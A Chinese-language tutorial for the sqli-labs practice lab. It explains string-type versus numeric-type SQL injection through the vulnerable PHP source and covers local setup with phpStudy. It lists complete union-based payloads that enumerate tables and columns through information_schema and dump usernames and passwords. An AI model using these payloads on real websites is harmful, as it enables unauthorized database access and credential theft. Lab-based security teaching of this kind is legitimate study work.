> 字符型注入和数字型注入的区别，及判断方法，源码含义，Payload构造



---

## 一、先理解核心概念：什么是SQL注入

### 1.1 一句话解释

SQL注入的本质就是：**用户输入的内容被当成SQL代码执行了**。

正常情况下，用户输入的`id=1`应该只是作为"数据"去数据库里查找id=1的那条记录。但如果网站没做过滤，用户输入的恶意内容就会被拼接到SQL语句中，变成数据库命令的一部分。

---

## 二、Less-1 源码逐行分析（字符型注入）

你提供的源码是Less-1，标题写着 **Error Based - String**（基于报错的字符型注入）。

### 2.1 关键源码拆解

```php
if(isset($_GET['id']))           // ① 检查URL里有没有id参数
{
    $id=$_GET['id'];             // ② 把URL里的id值取出来，直接赋值给$id变量

    // 下面这行是核心中的核心！！！
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    // ③ 把$id直接拼接到SQL语句中，注意$id两边有单引号 ' '

    echo $sql;                   // ④ 这个是自己加的，便于理解
    $result=mysql_query($sql);   // ⑤ 执行SQL查询
    $row = mysql_fetch_array($result);  // ⑥ 获取查询结果

    if($row)                     // ⑦ 如果查到了数据，显示用户名和密码
    {
        echo 'Your Login name:'. $row['username'];
        echo 'Your Password:' .$row['password'];
    }
    else                         // ⑧ 如果没查到，显示错误信息
    {
        print_r(mysql_error());  // 把MySQL报错信息打印出来
    }
}
```

### 2.2 源码中的致命漏洞

**第②行 + 第③行 = 漏洞根源**：

`$id`是从用户输入直接拿过来的，**没有任何过滤**，然后直接拼到了SQL语句里。

而且注意SQL语句的构造方式：
```sql
SELECT * FROM users WHERE id='$id' LIMIT 0,1
```
`$id`被单引号 `'` 包裹起来了，这就是**字符型**的特征。

---

## 三、字符型 vs 数字型：核心区别

### 3.1 两种注入类型的对比

| 对比项 | 字符型注入（Less-1） | 数字型注入（Less-2） |
|--------|----------------------|----------------------|
| **源码SQL** | `WHERE id='$id'` | `WHERE id=$id` |
| **id两边有引号吗** | ✅ 有单引号包裹 | ❌ 没有引号 |
| **注入时需要闭合引号吗** | ✅ 需要先闭合前面的引号 | ❌ 不需要 |
| **注释后面多余引号** | ✅ 需要注释掉后面的引号 | ❌ 不需要 |
| **典型闭合方式** | `1' --+` | `1 and 1=1` |

### 3.2 为什么Less-1是字符型？

看源码这一行：
```php
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
```

`$id`被单引号包着，说明数据库把id当**字符串**来处理。

Less-2的源码（数字型）是这样的：
```php
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
```

`$id`没有引号，说明数据库把id当**数字**来处理。

**记住这个判断口诀：**
> 源码里变量两边有引号 → 字符型
> 源码里变量两边没引号 → 数字型

---

## 四、判断注入类型：实操方法

### 4.1 方法一：加单引号测试法（最常用）

这是判断字符型/数字型最经典的方法。

#### 步骤1：先输入正常值
```
?id=1
```
页面正常显示用户名密码 → 说明存在交互



#### 步骤2：确认（加注释符）

如果是字符型，输入：
```
?id=1' --+
```
页面正常显示 → **确定是字符型**

解释：
```sql
-- 你输入的：1' --+
-- 拼接后：SELECT * FROM users WHERE id='1' --+' LIMIT 0,1
--          ↑前面的'闭合了  ↑--+把后面的' LIMIT 0,1都注释掉了
-- 实际执行：SELECT * FROM users WHERE id='1'
```

### 4.2 方法二：and/or逻辑判断法

#### 字符型测试：
```
?id=1' and 1=1 --+   → 页面正常（真and真=真）
?id=1' and 1=2 --+   → 页面异常/无数据（真and假=假）
```

#### 数字型测试：
```
?id=1 and 1=1   → 页面正常（真and真=真）
?id=1 and 1=2   → 页面异常/无数据（真and假=假）
```

**注意**：字符型用and测试时，两边都要加引号 `'1'='1'`，否则会被当成字符串的一部分。

### 4.3 方法三：数学运算法（最巧妙）

```
?id=2-1
```

**如果是数字型**：MySQL会计算 `2-1=1`，显示id=1的数据
**如果是字符型**：MySQL会把`2-1`当成字符串，强制转换为数字`2`，显示id=2的数据

所以：
- 数字型：`?id=2-1` 显示的是id=1的内容

![图片.png](/static/img/69c88ca927ce99abc7d975d20221383d.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
- 字符型：`?id=2-1` 显示的是id=2的内容

![图片.png](/static/img/992caa07b9e360d5a0ec143f9993ab84.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

---

## 五、注释符详解：`--` 和 `#`

### 5.1 为什么需要注释符？

在字符型注入中，源码SQL是：
```sql
SELECT * FROM users WHERE id='$id' LIMIT 0,1
```

我们输入`1'`，SQL变成：
```sql
SELECT * FROM users WHERE id='1' LIMIT 0,1
```

注意：后面还有一个多余的单引号 `'` 和 `LIMIT 0,1`。
如果不处理掉，SQL语法还是错的！

所以我们要用**注释符**把后面的内容"注释掉"（变成注释，不执行）。

### 5.2 MySQL注释符种类

| 注释符 | 写法 | 说明 |
|--------|------|------|
| `-- ` | `-- 空格` | 单行注释，注意`--`后面必须有空格！ |
| `--+` | `--+` | URL中`+`会被解析成空格，所以`--+` = `-- 空格` |
| `#` | `#` | 单行注释，URL中写`%23` |
| `/**/` | `/*内容*/` | 多行注释 |



### 5.3 注释符在注入中的作用

输入：`?id=1' --+`

拼接后的SQL：
```sql
SELECT * FROM users WHERE id='1' --+' LIMIT 0,1
--                    ↑闭合  ↑--+把后面都注释掉了
```

实际执行：
```sql
SELECT * FROM users WHERE id='1'
```


---

## 六、联合注入（Union Injection）完整流程

联合注入的前提是：**页面有回显**（能把查询结果显示在页面上）。

### 6.1 第一步：判断字段数（order by）

```
?id=1' order by 1 --+   → 正常
?id=1' order by 2 --+   → 正常
?id=1' order by 3 --+   → 正常
?id=1' order by 4 --+   → 报错（Unknown column '4'）
```

**结论**：表有3个字段。

**原理**：`order by`是按第N列排序。如果列数超过实际字段数，就会报错。

### 6.2 第二步：判断显示位（union select）

```
?id=-1' union select 1,2,3 --+
```
**union 是纵向拼接两张表，它有个强制要求：前后两张表的列数必须完全一致。**
**为什么用`-1`而不是`1`？**

![图片.png](/static/img/6a0bf1f3ee69d87a5ce7c902a12aa7ab.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

因为`union`会把两个查询结果合并显示。如果id=1能查到数据，页面会显示id=1的结果，我们注入的`union select`结果就被"挤"到后面去了，看不到。

![图片.png](/static/img/39ef2834c96bda12143d17ac34cba74a.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

用`-1`（数据库里不存在id=-1），第一个查询查不到数据，页面就会显示`union select`的结果。

**显示位判断**：页面上出现`2`和`3`，说明第2列和第3列的数据会显示在页面上。


### 6.3 第三步：爆数据库名和版本

```
?id=-1' union select 1,database(),version() --+
```

- `database()`：返回当前数据库名 → `security`
- `version()`：返回MySQL版本 → `5.7.26`

### 6.4 第四步：爆表名

```
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
```
![](http://165.99.42.26/static/img/e0cb32d1afa54d230af688a4942680a6.å¾ç.webp)

**解释这条SQL：**
- `information_schema`：MySQL的系统数据库（元数据库），存储了所有数据库的结构信息
- `information_schema.tables`：系统库中的`tables`表，存储了所有表的信息
- `table_schema='security'`：筛选数据库名为`security`的表
- `table_name`：表名字段
- `group_concat()`：把多个结果用逗号连接成一串
#### Schema的定义

在数据库术语中，schema（模式）是一个逻辑概念，用于组织数据库中的对象，包括表、视图、索引、存储过程、函数、主键、外键等。可以把schema理解为数据库中的“文件夹”，用于分类和隔离不同的对象，实现逻辑上的组织和权限控制 。

#### Schema与数据库的关系

**MySQL**：在MySQL中，schema和database是同义词，语法上CREATE SCHEMA和CREATE DATABASE作用相同 。也就是说，在MySQL里，创建一个数据库就相当于创建了一个schema。

**PostgreSQL**：一个数据库可以包含多个schema，每个schema可以包含表、视图等对象。schema提供命名空间，用于区分不同对象，查询时可以显式指定schema名称 。
**Oracle**：schema与用户绑定，每个用户对应一个schema，用户名就是schema名。schema中的对象都属于该用户，管理schema实际上就是管理用户 。

**SQL Server**：从SQL Server 2005开始，schema与数据库用户分离，schema是独立的命名空间，用户可以有默认schema，但schema本身是独立对象 TencentTencent。

**结果**：`emails,referers,uagents,users`

### 6.5 第五步：爆字段名

```
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
```

![图片.png](/static/img/5872df74479995875dce2308f4392c82.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
**解释这条SQL：**
- `information_schema.columns`：系统库中的`columns`表，存储了所有字段的信息
- `table_name='users'`：筛选表名为`users`的字段
- `column_name`：字段名字段

**结果**：`id,username,password`


:::tip{title="为什么有 USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS？"}
因为只限定了表名，没限定数据库名
:::
### 6.6 第六步：爆数据

```
?id=-1' union select 1,2,group_concat(username,':',password) from users --+
```

![图片.png](/static/img/ddc0c8a1d518528858635e4d8a0ff42b.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
**结果**：`Dumb:Dumb,Angelina:I-kill-you,Dirty:Dirty`



到此就结束了，然后后面的3-4本质上还是判断是什么样的闭合方式
---

## 七、MySQL常用函数速查表

| 函数 | 作用 | 示例 |
|------|------|------|
| `database()` | 返回当前数据库名 | `security` |
| `version()` | 返回MySQL版本 | `5.7.26` |
| `user()` | 返回当前数据库用户 | `root@localhost` |
| `@@datadir` | 返回数据文件路径 | `/var/lib/mysql/` |
| `@@version_compile_os` | 返回操作系统 | `linux` |
| `group_concat()` | 将多行结果用逗号连接 | `a,b,c` |
| `concat()` | 将多个字符串连接 | `admin:123456` |
| `concat_ws()` | 用指定分隔符连接 | `admin|123456` |
| `length()` | 返回字符串长度 | `length('abc')=3` |
| `substr()` | 截取字符串 | `substr('abc',1,1)='a'` |
| `ascii()` | 返回字符的ASCII码 | `ascii('A')=65` |

---

## 八、information_schema 系统数据库详解

### 8.1 什么是information_schema？

`information_schema`是MySQL 5.0+自带的**元数据库**（metadata database），它存储了MySQL服务器上所有数据库的"结构信息"——比如有哪些数据库、每个数据库有哪些表、每个表有哪些字段等。

**重要**：只有MySQL 5.0以上版本才有这个库，5.0以下只能靠猜表名和字段名。

### 8.2 核心表和字段

#### tables表（存储所有表的信息）

| 字段名 | 含义 |
|--------|------|
| `table_schema` | 表所属的数据库名 |
| `table_name` | 表名 |
| `table_type` | 表类型（BASE TABLE/VIEW） |

#### columns表（存储所有字段的信息）

| 字段名 | 含义 |
|--------|------|
| `table_schema` | 字段所属的数据库名 |
| `table_name` | 字段所属的表名 |
| `column_name` | 字段名 |
| `data_type` | 字段数据类型 |

### 8.3 常用查询模板

```sql
-- 查所有数据库名
SELECT schema_name FROM information_schema.schemata;

-- 查security数据库下的所有表名
SELECT table_name FROM information_schema.tables WHERE table_schema='security';

-- 查users表下的所有字段名
SELECT column_name FROM information_schema.columns WHERE table_name='users';

-- 查security数据库下users表的所有字段名（更精确）
SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users';
```

---

## 九、Less-1 vs Less-2 注入Payload对比

### Less-1（字符型）

```
?id=1' and 1=1 --+           → 正常
?id=1' and 1=2 --+           → 异常（确认字符型）

?id=1' order by 3 --+        → 正常
?id=1' order by 4 --+        → 报错（字段数=3）

?id=-1' union select 1,2,3 --+
?id=-1' union select 1,database(),version() --+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
?id=-1' union select 1,2,group_concat(username,':',password) from users --+
```

### Less-2（数字型）

```
?id=1 and 1=1                → 正常
?id=1 and 1=2                → 异常（确认数字型）

?id=1 order by 3 --+         → 正常
?id=1 order by 4 --+         → 报错（字段数=3）

?id=-1 union select 1,2,3 --+
?id=-1 union select 1,database(),version() --+
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
?id=-1 union select 1,2,group_concat(username,':',password) from users --+
```

**核心区别**：数字型不需要闭合引号，不需要`'`和`--+`来注释后面的引号。

---

## 十、常见问题FAQ

### Q1：为什么`?id=1' --+`正常显示就是字符型？

因为字符型源码是 `id='$id'`，你输入`1' --+`，SQL变成：
```sql
SELECT * FROM users WHERE id='1' --+' LIMIT 0,1
```
`--+`把后面的`' LIMIT 0,1`都注释掉了，实际执行`WHERE id='1'`，语法正确，查到id=1的数据，页面正常。

如果是数字型源码 `id=$id`，输入`1' --+`，SQL变成：
```sql
SELECT * FROM users WHERE id=1' --+ LIMIT 0,1
```
`1'`不是合法数字，MySQL会报错或强制转换，页面不会正常显示。

### Q2：`--+`和`#`有什么区别？

都是注释符，效果一样。`--+`在URL中更方便（`+`自动转空格），`#`在URL中要写`%23`。

### Q3：为什么用`group_concat()`？

因为`union select`只能显示一行结果。如果有多行数据（比如多个表名），不用`group_concat()`就只能显示第一个。`group_concat()`把所有结果用逗号连成一串，一次性显示出来。

### Q4：数字型注入能不能也用`'`测试？

可以，但效果不同：
- 数字型：`?id=1'` → MySQL会把`1'`强制转成`1`，页面可能正常显示
- 字符型：`?id=1'` → 语法错误，页面报错

所以加`'`报错→字符型，`'`不报错→可能是数字型（需要进一步用and/or确认）。

### Q5：`LIMIT 0,1`是什么意思？

`LIMIT 0,1`表示从第0条开始，取1条数据。也就是只返回第一条结果。

---

## 十一、记忆口诀

> **字符型**：有引号，要闭合，后面注释要跟上
> **数字型**：没引号，直接拼，and/or来验证
> **判断法**：加引号，看报错，报错就是字符型
> **查字段**：order by，从小到大试
> **查显示位**：union select，负数id让位
> **爆数据**：information_schema是宝藏，tables查表columns查字段

---

字符型/数字型注入（union联合注入）

**部署环境**：Windows + phpStudy V8  
**访问方式**：（不改默认首页，直接通过文件夹访问）`http://localhost/sqli-labs-master/`

---

## 一、环境准备
[Windows版phpstudy下载 - 小皮面板(phpstudy)](https://old.xp.cn/download.html)

1. 安装小皮面板，默认安装或者自己选择路径即可
2. 打开 ，点击"启动"（一键启动 Apache + MySQL）

![图片.png](/static/img/8027a467f0e36e39be26f7c323ca1b72.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)



---

## 二、下载与放置
1. 下载 sqli-labs 压缩包，解压

[GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based.](https://github.com/Audi-1/sqli-labs)

2. 把解压得到的文件夹 `sqli-labs-master`（或者任意英文名，别带中文）将整个文件夹**复制**到 phpStudy 的 WWW 目录下：

```plain
D:\phpstudy_pro\WWW\sqli-labs-master\
```

确保里面直接有 `index.html`、`Less-1`、`sql-connections` 等文件和文件夹



![图片.png](/static/img/fab57cc4047e49009a16eb013cf9c637.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)




---

## 三、配置数据库连接
1. 查看数据库密码


![2.png](/static/img/cb819587d9c29e5491fe03b61eb0acbc.2.webp)

2. 进入目录：

```plain
D:\phpstudy_pro\WWW\sqli-labs-master\sql-connections\
```

3. 用记事本打开 `db-creds.inc`
4. 修改数据库密码（`$dbpass`）：

```php
$dbuser ='root';
$dbpass ='你的root密码';   // 改成 phpStudy 里 MySQL root 的实际密码
$dbname = "security";
$host = 'localhost';
$dbname1 = "challenges";
```


![3.png](/static/img/e031eaf1e9459e6e4494afefbc1ae73a.3.webp)

> 查看 root 密码：phpStudy → 数据库 → 看 root 用户那一行的密码
>

5. 保存

---

## 四、更改php版本
**sqli-labs 必须用 PHP 5.x，否则后续会报 **`**mysql_connect() 未定义**`**。但是PHP 5.2，默认开启了 magic_quotes_gpc，会自动给你的单引号加反斜杠 \ 转义，所以这里我们使用php-5.4.45**

#### 1.点击修改

![4.png](/static/img/cf01ce11b62b253bd6f2dfbe96c95432.4.webp)

#### 2.选择更多版本

![5.png](/static/img/26d04d44592bed75d8ab2dfa39106dc0.5.webp)

下载php-5.x


![6.png](/static/img/c80ba8dcc015803aecdbbbae9716dfee.6.webp)
#### 3.更改

![7.png](/static/img/74662867436858929b1e81f7e238fa55.7.webp)

## 五、初始化数据库
浏览器访问：

```plain
http://localhost/sqli-labs-master/sql-connections/setup-db.php
```

或[http://localhost/sqli-labs-master/](http://localhost/sqli-labs-master/)直接选择


![8.png](/static/img/89847c99b390112e6d9b05d2e0e0f776.8.webp)

如果看到以下提示，说明初始化成功：


![2574315-20231029110817610-133220930.png](/static/img/afcbe75654e00d1f0639d8cd9b57b4b6.2574315-20231029110817610-133220930.webp)

```plain
Welcome    Dhakkan
SETTING UP THE DATABASE SCHEMA AND POPULATING DATA IN TABLES:
[*]...................Creating New database 'SECURITY' successfully
[*]...................Inserted data correctly into table 'USERS'
...
```

> 如果报错 `Fatal error: Call to undefined function mysql_connect()`，说明 PHP 版本没切到 5.x，回第一步检查。
>

---

## 六、常见问题速查
| 问题 | 原因 | 解决 |
| --- | --- | --- |
| 访问后显示 phpStudy 默认页面 | 你访问的是 `http://localhost/` | 加上子目录：`http://localhost/sqli-labs-master/` |
| `mysql_connect() undefined` | PHP 版本是 7.x/8.x | phpStudy 切换到 PHP 5.2.x 或 5.4.x |
| 数据库初始化失败/连不上 | db-creds.inc 密码填错了 | 重新核对 phpStudy 里 root 的密码 |
| 页面空白或 404 | 文件夹放错位置或名字不对 | 确认路径是 `WWW\sqli-labs-master\index.html` |


---

## 七、数据库重置
如果做题过程中把数据库搞乱了，重新访问初始化页面即可：

```plain
http://localhost/sqli-labs-master/sql-connections/setup-db.php
```